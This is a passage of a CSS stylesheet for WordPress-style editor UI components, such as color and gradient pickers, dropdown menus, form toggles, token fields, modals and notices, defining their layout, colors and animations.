.components-circular-option-picker__dropdown-link-action{
  margin-right:16px;
}
.components-circular-option-picker__dropdown-link-action .components-button{
  line-height:22px;
}

.components-palette-edit__popover-gradient-picker{
  padding:8px;
  width:260px;
}

.components-dropdown-menu__menu .components-palette-edit__menu-button{
  width:100%;
}

.component-color-indicator{
  background:#fff linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  border-radius:50%;
  box-shadow:inset 0 0 0 1px #0003;
  display:inline-block;
  height:20px;
  padding:0;
  width:20px;
}

.components-combobox-control{
  width:100%;
}

input.components-combobox-control__input[type=text]{
  border:none;
  box-shadow:none;
  font-family:inherit;
  font-size:16px;
  line-height:inherit;
  margin:0;
  min-height:auto;
  padding:2px;
  width:100%;
}
@media (min-width:600px){
  input.components-combobox-control__input[type=text]{
    font-size:13px;
  }
}
input.components-combobox-control__input[type=text]:focus{
  box-shadow:none;
  outline:none;
}

.components-combobox-control__suggestions-container{
  align-items:flex-start;
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:flex;
  flex-wrap:wrap;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:0;
  width:100%;
}
@media not (prefers-reduced-motion){
  .components-combobox-control__suggestions-container{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-combobox-control__suggestions-container{
    font-size:13px;
    line-height:normal;
  }
}
.components-combobox-control__suggestions-container:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-combobox-control__suggestions-container::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container:focus-within{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-combobox-control__suggestions-container .components-spinner{
  margin:0;
}

.components-color-palette__custom-color-wrapper{
  position:relative;
  z-index:0;
}

.components-color-palette__custom-color-button{
  background:none;
  border:none;
  border-radius:4px 4px 0 0;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:border-box;
  cursor:pointer;
  height:64px;
  outline:1px solid #0000;
  position:relative;
  width:100%;
}
.components-color-palette__custom-color-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline-width:2px;
}
.components-color-palette__custom-color-button:after{
  background-image:repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0), repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0);
  background-position:0 0, 24px 24px;
  background-size:48px 48px;
  border-radius:3px 3px 0 0;
  content:"";
  inset:1px;
  position:absolute;
  z-index:-1;
}

.components-color-palette__custom-color-text-wrapper{
  border-radius:0 0 4px 4px;
  box-shadow:inset 0 -1px 0 0 #0003,inset 1px 0 0 0 #0003,inset -1px 0 0 0 #0003;
  font-size:13px;
  padding:12px 16px;
  position:relative;
}

.components-color-palette__custom-color-name{
  color:var(--wp-components-color-foreground, #1e1e1e);
  margin:0 1px;
}

.components-color-palette__custom-color-value{
  color:#757575;
}
.components-color-palette__custom-color-value--is-hex{
  text-transform:uppercase;
}
.components-color-palette__custom-color-value:empty:after{
  content:"​";
  visibility:hidden;
}

.components-custom-gradient-picker__gradient-bar{
  border-radius:2px;
  height:48px;
  position:relative;
  width:100%;
  z-index:1;
}
.components-custom-gradient-picker__gradient-bar.has-gradient{
  background-image:repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0), repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0);
  background-position:0 0, 12px 12px;
  background-size:24px 24px;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__gradient-bar-background{
  inset:0;
  position:absolute;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{
  margin-left:auto;
  margin-right:auto;
  position:relative;
  width:calc(100% - 48px);
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-dropdown{
  display:flex;
  height:16px;
  position:absolute;
  top:16px;
  width:16px;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown{
  background:#fff;
  border-radius:50%;
  color:#1e1e1e;
  height:inherit;
  min-width:16px !important;
  padding:2px;
  position:relative;
  width:inherit;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown svg{
  height:100%;
  width:100%;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{
  border-radius:50%;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 2px 0 #00000040;
  height:inherit;
  outline:2px solid #0000;
  padding:0;
  width:inherit;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{
  box-shadow:inset 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #fff, 0 0 2px 0 #00000040;
  outline:1.5px solid #0000;
}

.components-custom-gradient-picker__remove-control-point-wrapper{
  padding-bottom:8px;
}

.components-custom-gradient-picker__inserter{
  direction:ltr;
}

.components-custom-gradient-picker__liner-gradient-indicator{
  display:inline-block;
  flex:0 auto;
  height:20px;
  width:20px;
}

.components-custom-gradient-picker__ui-line{
  position:relative;
  z-index:0;
}

.block-editor-dimension-control .components-base-control__field{
  align-items:center;
  display:flex;
}
.block-editor-dimension-control .components-base-control__label{
  align-items:center;
  display:flex;
  margin-bottom:0;
  margin-right:1em;
}
.block-editor-dimension-control .components-base-control__label .dashicon{
  margin-right:.5em;
}
.block-editor-dimension-control.is-manual .components-base-control__label{
  width:10em;
}

body.is-dragging-components-draggable{
  cursor:move;
  cursor:grabbing !important;
}

.components-draggable__invisible-drag-image{
  height:50px;
  left:-1000px;
  position:fixed;
  width:50px;
}

.components-draggable__clone{
  background:#0000;
  padding:0;
  pointer-events:none;
  position:fixed;
  z-index:1000000000;
}

.components-drop-zone{
  border-radius:2px;
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
  visibility:hidden;
  z-index:40;
}
.components-drop-zone.is-active{
  opacity:1;
  visibility:visible;
}
.components-drop-zone .components-drop-zone__content{
  align-items:center;
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  bottom:0;
  color:#fff;
  display:flex;
  height:100%;
  justify-content:center;
  left:0;
  opacity:0;
  pointer-events:none;
  position:absolute;
  right:0;
  text-align:center;
  top:0;
  width:100%;
  z-index:50;
}
.components-drop-zone .components-drop-zone__content-inner{
  opacity:0;
  transform:scale(.9);
}
.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content{
  opacity:1;
}
@media not (prefers-reduced-motion){
  .components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content{
    transition:opacity .2s ease-in-out;
  }
}
.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content-inner{
  opacity:1;
  transform:scale(1);
}
@media not (prefers-reduced-motion){
  .components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content-inner{
    transition:opacity .1s ease-in-out .1s,transform .1s ease-in-out .1s;
  }
}

.components-drop-zone__content-icon,.components-drop-zone__content-text{
  display:block;
}

.components-drop-zone__content-icon{
  line-height:0;
  margin:0 auto 8px;
  fill:currentColor;
  pointer-events:none;
}

.components-drop-zone__content-text{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.components-dropdown{
  display:inline-block;
}

.components-dropdown__content .components-popover__content{
  padding:8px;
}
.components-dropdown__content .components-popover__content:has(.components-menu-group){
  padding:0;
}
.components-dropdown__content .components-popover__content:has(.components-menu-group) .components-dropdown-menu__menu>.components-menu-item__button,.components-dropdown__content .components-popover__content:has(.components-menu-group)>.components-menu-item__button{
  margin:8px;
  width:auto;
}
.components-dropdown__content [role=menuitem]{
  white-space:nowrap;
}
.components-dropdown__content .components-menu-group{
  padding:8px;
}
.components-dropdown__content .components-menu-group+.components-menu-group{
  border-top:1px solid #ccc;
  padding:8px;
}
.components-dropdown__content.is-alternate .components-menu-group+.components-menu-group{
  border-color:#1e1e1e;
}

.components-dropdown-menu__toggle{
  vertical-align:top;
}

.components-dropdown-menu__menu{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:1.4;
  width:100%;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{
  cursor:pointer;
  outline:none;
  padding:6px;
  white-space:nowrap;
  width:100%;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{
  margin-top:6px;
  overflow:visible;
  position:relative;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{
  background-color:#ddd;
  box-sizing:initial;
  content:"";
  display:block;
  height:1px;
  left:0;
  position:absolute;
  right:0;
  top:-3px;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-menu-item.is-active svg{
  background:#1e1e1e;
  border-radius:1px;
  box-shadow:0 0 0 1px #1e1e1e;
  color:#fff;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-icon-only,.components-dropdown-menu__menu .components-menu-item.is-icon-only{
  width:auto;
}
.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{
  height:auto;
  min-height:40px;
  padding-left:8px;
  padding-right:8px;
  text-align:left;
}

.components-duotone-picker__color-indicator:before{
  background:#0000;
}
.components-duotone-picker__color-indicator>.components-button,.components-duotone-picker__color-indicator>.components-button.is-pressed:hover:not(:disabled){
  background:linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  color:#0000;
}
.components-duotone-picker__color-indicator>.components-button:not([aria-disabled=true]):active{
  color:#0000;
}

.components-color-list-picker,.components-color-list-picker__swatch-button{
  width:100%;
}

.components-color-list-picker__color-picker{
  margin:8px 0;
}

.components-color-list-picker__swatch-color{
  margin:2px;
}

.components-external-link{
  text-decoration:none;
}

.components-external-link__contents{
  text-decoration:underline;
}

.components-external-link__icon{
  font-weight:400;
  margin-left:.5ch;
}
.components-form-toggle,.components-form-toggle .components-form-toggle__track{
  display:inline-block;
  height:16px;
  position:relative;
}
.components-form-toggle .components-form-toggle__track{
  background-color:#fff;
  border:1px solid #949494;
  border-radius:8px;
  box-sizing:border-box;
  content:"";
  overflow:hidden;
  vertical-align:top;
  width:32px;
}
@media not (prefers-reduced-motion){
  .components-form-toggle .components-form-toggle__track{
    transition:background-color .2s ease,border-color .2s ease;
  }
}
.components-form-toggle .components-form-toggle__track:after{
  border-top:16px solid #0000;
  box-sizing:border-box;
  content:"";
  inset:0;
  opacity:0;
  position:absolute;
}
@media not (prefers-reduced-motion){
  .components-form-toggle .components-form-toggle__track:after{
    transition:opacity .2s ease;
  }
}
.components-form-toggle .components-form-toggle__thumb{
  background-color:#1e1e1e;
  border:6px solid #0000;
  border-radius:50%;
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
  box-sizing:border-box;
  display:block;
  height:12px;
  left:2px;
  position:absolute;
  top:2px;
  width:12px;
}
@media not (prefers-reduced-motion){
  .components-form-toggle .components-form-toggle__thumb{
    transition:transform .2s ease,background-color .2s ease-out;
  }
}
.components-form-toggle.is-checked .components-form-toggle__track{
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-form-toggle.is-checked .components-form-toggle__track:after{
  opacity:1;
}
.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-form-toggle.is-checked .components-form-toggle__thumb{
  background-color:#fff;
  border-width:0;
  transform:translateX(16px);
}
.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{
  opacity:.3;
}

.components-form-toggle input.components-form-toggle__input[type=checkbox]{
  border:none;
  height:100%;
  left:0;
  margin:0;
  opacity:0;
  padding:0;
  position:absolute;
  top:0;
  width:100%;
  z-index:1;
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{
  background:none;
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{
  content:"";
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:not(:disabled,[aria-disabled=true]){
  cursor:pointer;
}

.components-form-token-field__input-container{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  cursor:text;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:0;
  width:100%;
}
@media not (prefers-reduced-motion){
  .components-form-token-field__input-container{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-form-token-field__input-container{
    font-size:13px;
    line-height:normal;
  }
}
.components-form-token-field__input-container:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-form-token-field__input-container::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container.is-disabled{
  background:#ddd;
  border-color:#ddd;
}
.components-form-token-field__input-container.is-active{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-form-token-field__input-container input[type=text].components-form-token-field__input{
  background:inherit;
  border:0;
  box-shadow:none;
  color:#1e1e1e;
  display:inline-block;
  flex:1;
  font-family:inherit;
  font-size:16px;
  margin-left:4px;
  max-width:100%;
  min-height:24px;
  min-width:50px;
  padding:0;
  width:100%;
}
@media (min-width:600px){
  .components-form-token-field__input-container input[type=text].components-form-token-field__input{
    font-size:13px;
  }
}
.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{
  box-shadow:none;
  outline:none;
}
.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{
  width:auto;
}

.components-form-token-field__token{
  color:#1e1e1e;
  display:flex;
  font-size:13px;
  max-width:100%;
}
.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{
  background:#4ab866;
}
.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{
  background:#cc1818;
}
.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{
  color:#757575;
}
.components-form-token-field__token.is-borderless{
  padding:0 24px 0 0;
  position:relative;
}
.components-form-token-field__token.is-borderless .components-form-token-field__token-text{
  background:#0000;
}
.components-form-token-field__token.is-borderless:not(.is-disabled) .components-form-token-field__token-text{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{
  background:#0000;
  color:#757575;
  position:absolute;
  right:0;
  top:1px;
}
.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{
  color:#4ab866;
}
.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{
  color:#cc1818;
  padding:0 4px 0 6px;
}
.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{
  color:#1e1e1e;
}

.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{
  background:#ddd;
  display:inline-block;
  height:auto;
  min-width:unset;
}
@media not (prefers-reduced-motion){
  .components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{
    transition:all .2s cubic-bezier(.4, 1, .4, 1);
  }
}

.components-form-token-field__token-text{
  border-radius:1px 0 0 1px;
  line-height:24px;
  overflow:hidden;
  padding:0 0 0 8px;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.components-form-token-field__remove-token.components-button{
  border-radius:0 1px 1px 0;
  color:#1e1e1e;
  line-height:10px;
  overflow:initial;
}
.components-form-token-field__remove-token.components-button:hover:not(:disabled){
  color:#1e1e1e;
}

.components-form-token-field__suggestions-list{
  box-shadow:inset 0 1px 0 0 #949494;
  flex:1 0 100%;
  list-style:none;
  margin:0;
  max-height:128px;
  min-width:100%;
  overflow-y:auto;
  padding:0;
}
@media not (prefers-reduced-motion){
  .components-form-token-field__suggestions-list{
    transition:all .15s ease-in-out;
  }
}

.components-form-token-field__suggestion{
  box-sizing:border-box;
  color:#1e1e1e;
  display:block;
  font-size:13px;
  margin:0;
  min-height:32px;
  padding:8px 12px;
}
.components-form-token-field__suggestion.is-selected{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff;
}
.components-form-token-field__suggestion[aria-disabled=true]{
  color:#949494;
  pointer-events:none;
}
.components-form-token-field__suggestion[aria-disabled=true].is-selected{
  background-color:rgba(var(--wp-components-color-accent--rgb, var(--wp-admin-theme-color--rgb)), .04);
}
.components-form-token-field__suggestion:not(.is-empty){
  cursor:pointer;
}

@media (min-width:600px){
  .components-guide{
    width:600px;
  }
}
.components-guide .components-modal__content{
  margin-top:0;
  padding:0;
}
.components-guide .components-modal__content:before{
  content:none;
}
.components-guide .components-modal__header{
  border-bottom:none;
  height:60px;
  padding:0;
  position:sticky;
}
.components-guide .components-modal__header .components-button{
  align-self:flex-start;
  margin:8px 8px 0 0;
  position:static;
}
.components-guide .components-modal__header .components-button:hover svg{
  fill:#fff;
}
.components-guide .components-guide__container{
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  margin-top:-60px;
  min-height:100%;
}
.components-guide .components-guide__page{
  display:flex;
  flex-direction:column;
  justify-content:center;
  position:relative;
}
@media (min-width:600px){
  .components-guide .components-guide__page{
    min-height:300px;
  }
}
.components-guide .components-guide__footer{
  align-content:center;
  display:flex;
  height:36px;
  justify-content:center;
  margin:0 0 24px;
  padding:0 32px;
  position:relative;
  width:100%;
}
.components-guide .components-guide__page-control{
  margin:0;
  text-align:center;
}
.components-guide .components-guide__page-control li{
  display:inline-block;
  margin:0;
}
.components-guide .components-guide__page-control .components-button{
  color:#e0e0e0;
  margin:-6px 0;
}
.components-guide .components-guide__page-control li[aria-current=step] .components-button{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}

.components-modal__frame.components-guide{
  border:none;
  max-height:575px;
  min-width:312px;
}
@media (max-width:600px){
  .components-modal__frame.components-guide{
    margin:auto;
    max-width:calc(100vw - 32px);
  }
}

.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{
  position:absolute;
}
.components-button.components-guide__back-button{
  left:32px;
}
.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{
  right:32px;
}

[role=region]{
  position:relative;
}

.is-focusing-regions [role=region]:focus:after,[role=region].interface-interface-skeleton__content:focus-visible:after{
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1000000;
}
.is-focusing-regions .editor-post-publish-panel,.is-focusing-regions .interface-interface-skeleton__actions .editor-layout__toggle-entities-saved-states-panel,.is-focusing-regions .interface-interface-skeleton__actions .editor-layout__toggle-publish-panel,.is-focusing-regions .interface-interface-skeleton__sidebar .editor-layout__toggle-sidebar-panel,.is-focusing-regions [role=region]:focus:after,.is-focusing-regions.is-distraction-free .interface-interface-skeleton__header .edit-post-header,[role=region].interface-interface-skeleton__content:focus-visible:after{
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*2);
  outline-style:solid;
  outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*2);
}

.components-menu-group+.components-menu-group{
  border-top:1px solid #1e1e1e;
  padding-top:8px;
}
.components-menu-group+.components-menu-group.has-hidden-separator{
  border-top:none;
  margin-top:0;
  padding-top:0;
}

.components-menu-group:has(>div:empty){
  display:none;
}

.components-menu-group__label{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin-bottom:12px;
  margin-top:4px;
  padding:0 8px;
  text-transform:uppercase;
  white-space:nowrap;
}

.components-menu-item__button,.components-menu-item__button.components-button{
  width:100%;
}
.components-menu-item__button.components-button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button.components-button[role=menuitemradio] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemradio] .components-menu-item__item:only-child{
  box-sizing:initial;
  padding-right:48px;
}
.components-menu-item__button .components-menu-items__item-icon,.components-menu-item__button.components-button .components-menu-items__item-icon{
  display:inline-block;
  flex:0 0 auto;
}
.components-menu-item__button .components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-items__item-icon.has-icon-right{
  margin-left:24px;
  margin-right:-2px;
}
.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right{
  margin-left:8px;
}
.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{
  margin-left:-2px;
  margin-right:8px;
}
.components-menu-item__button.components-button.is-primary,.components-menu-item__button.is-primary{
  justify-content:center;
}
.components-menu-item__button.components-button.is-primary .components-menu-item__item,.components-menu-item__button.is-primary .components-menu-item__item{
  margin-right:0;
}
.components-menu-item__button.components-button:disabled.is-tertiary,.components-menu-item__button.components-button[aria-disabled=true].is-tertiary,.components-menu-item__button:disabled.is-tertiary,.components-menu-item__button[aria-disabled=true].is-tertiary{
  background:none;
  color:var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
  opacity:.3;
}

.components-menu-item__info-wrapper{
  display:flex;
  flex-direction:column;
  margin-right:auto;
}

.components-menu-item__info{
  color:#757575;
  font-size:12px;
  margin-top:4px;
  white-space:normal;
}

.components-menu-item__item{
  align-items:center;
  display:inline-flex;
  margin-right:auto;
  min-width:160px;
  white-space:nowrap;
}

.components-menu-item__shortcut{
  align-self:center;
  color:currentColor;
  display:none;
  margin-left:auto;
  margin-right:0;
  padding-left:24px;
}
@media (min-width:480px){
  .components-menu-item__shortcut{
    display:inline;
  }
}

.components-menu-items-choice,.components-menu-items-choice.components-button{
  height:auto;
  min-height:40px;
}
.components-menu-items-choice svg,.components-menu-items-choice.components-button svg{
  margin-right:12px;
}
.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{
  padding-left:12px;
}

.components-modal__screen-overlay{
  background-color:#00000059;
  bottom:0;
  display:flex;
  left:0;
  position:fixed;
  right:0;
  top:0;
  z-index:100000;
}
@keyframes __wp-base-styles-fade-in{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@media not (prefers-reduced-motion){
  .components-modal__screen-overlay{
    animation:__wp-base-styles-fade-in .08s linear 0s;
    animation-fill-mode:forwards;
  }
}
@keyframes __wp-base-styles-fade-out{
  0%{
    opacity:1;
  }
  to{
    opacity:0;
  }
}
@media not (prefers-reduced-motion){
  .components-modal__screen-overlay.is-animating-out{
    animation:__wp-base-styles-fade-out .08s linear 80ms;
    animation-fill-mode:forwards;
  }
}

.components-modal__frame{
  animation-fill-mode:forwards;
  animation-name:components-modal__appear-animation;
  animation-timing-function:cubic-bezier(.29, 0, 0, 1);
  background:#fff;
  border-radius:8px 8px 0 0;
  box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  box-sizing:border-box;
  display:flex;
  margin:40px 0 0;
  overflow:hidden;
  width:100%;
}
.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{
  box-sizing:inherit;
}
@media not (prefers-reduced-motion){
  .components-modal__frame{
    animation-duration:var(--modal-frame-animation-duration);
  }
}
.components-modal__screen-overlay.is-animating-out .components-modal__frame{
  animation-name:components-modal__disappear-animation;
  animation-timing-function:cubic-bezier(1, 0, .2, 1);
}
@media (min-width:600px){
  .components-modal__frame{
    border-radius:8px;
    margin:auto;
    max-height:calc(100% - 120px);
    max-width:calc(100% - 32px);
    min-width:350px;
    width:auto;
  }
}
@media (min-width:600px) and (min-width:600px){
  .components-modal__frame.is-full-screen{
    height:calc(100% - 32px);
    max-height:none;
    width:calc(100% - 32px);
  }
}
@media (min-width:600px) and (min-width:782px){
  .components-modal__frame.is-full-screen{
    height:calc(100% - 80px);
    max-width:none;
    width:calc(100% - 80px);
  }
}
@media (min-width:600px){
  .components-modal__frame.has-size-large,.components-modal__frame.has-size-medium,.components-modal__frame.has-size-small{
    width:100%;
  }
  .components-modal__frame.has-size-small{
    max-width:384px;
  }
  .components-modal__frame.has-size-medium{
    max-width:512px;
  }
  .components-modal__frame.has-size-large{
    max-width:840px;
  }
}
@media (min-width:960px){
  .components-modal__frame{
    max-height:70%;
  }
}

@keyframes components-modal__appear-animation{
  0%{
    opacity:0;
    transform:scale(.9);
  }
  to{
    opacity:1;
    transform:scale(1);
  }
}
@keyframes components-modal__disappear-animation{
  0%{
    opacity:1;
    transform:scale(1);
  }
  to{
    opacity:0;
    transform:scale(.9);
  }
}
.components-modal__header{
  align-items:center;
  border-bottom:1px solid #0000;
  box-sizing:border-box;
  display:flex;
  flex-direction:row;
  height:72px;
  justify-content:space-between;
  left:0;
  padding:24px 32px 8px;
  position:absolute;
  top:0;
  width:100%;
  z-index:10;
}
.components-modal__header .components-modal__header-heading{
  font-size:1.2rem;
  font-weight:600;
}
.components-modal__header h1{
  line-height:1;
  margin:0;
}
.components-modal__content.has-scrolled-content:not(.hide-header) .components-modal__header{
  border-bottom-color:#ddd;
}
.components-modal__header+p{
  margin-top:0;
}

.components-modal__header-heading-container{
  align-items:center;
  display:flex;
  flex-direction:row;
  flex-grow:1;
  justify-content:left;
}

.components-modal__header-icon-container{
  display:inline-block;
}
.components-modal__header-icon-container svg{
  max-height:36px;
  max-width:36px;
  padding:8px;
}

.components-modal__content{
  flex:1;
  margin-top:72px;
  overflow:auto;
  padding:4px 32px 32px;
}
.components-modal__content.hide-header{
  margin-top:0;
  padding-top:32px;
}
.components-modal__content.is-scrollable:focus-visible{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:-2px;
}

.components-notice{
  align-items:center;
  background-color:#fff;
  border-left:4px solid var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#1e1e1e;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:8px 12px;
}
.components-notice.is-dismissible{
  position:relative;
}
.components-notice.is-success{
  background-color:#eff9f1;
  border-left-color:#4ab866;
}
.components-notice.is-warning{
  background-color:#fef8ee;
  border-left-color:#f0b849;
}
.components-notice.is-error{
  background-color:#f4a2a2;
  border-left-color:#cc1818;
}

.components-notice__content{
  flex-grow:1;
  margin:4px 25px 4px 0;
}

.components-notice__actions{
  display:flex;
  flex-wrap:wrap;
}

.components-notice__action.components-button{
  margin-right:8px;
}
.components-notice__action.components-button,.components-notice__action.components-button.is-link{
  margin-left:12px;
}
.components-notice__action.components-button.is-secondary{
  vertical-align:initial;
}

.components-notice__dismiss{
  align-self:flex-start;
  color:#757575;
  flex-shrink:0;
}
.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  background-color:initial;
  color:#1e1e1e;
}
.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  box-shadow:none;
}

.components-notice-list{
  box-sizing:border-box;
  max-width:100vw;
}
.components-notice-list .components-notice__content{
  line-height:2;
  margin-bottom:12px;
  margin-top:12px;
}
.components-notice-list .components-notice__action.components-button{
  display:block;
  margin-left:0;
  margin-top:8px;
}

.components-panel{
  background:#fff;
  border:1px solid #e0e0e0;
}
.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{
  margin-top:-1px;
}
.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{
  border-bottom-width:0;
}

.components-panel+.components-panel{
  margin-top:-1px;
}

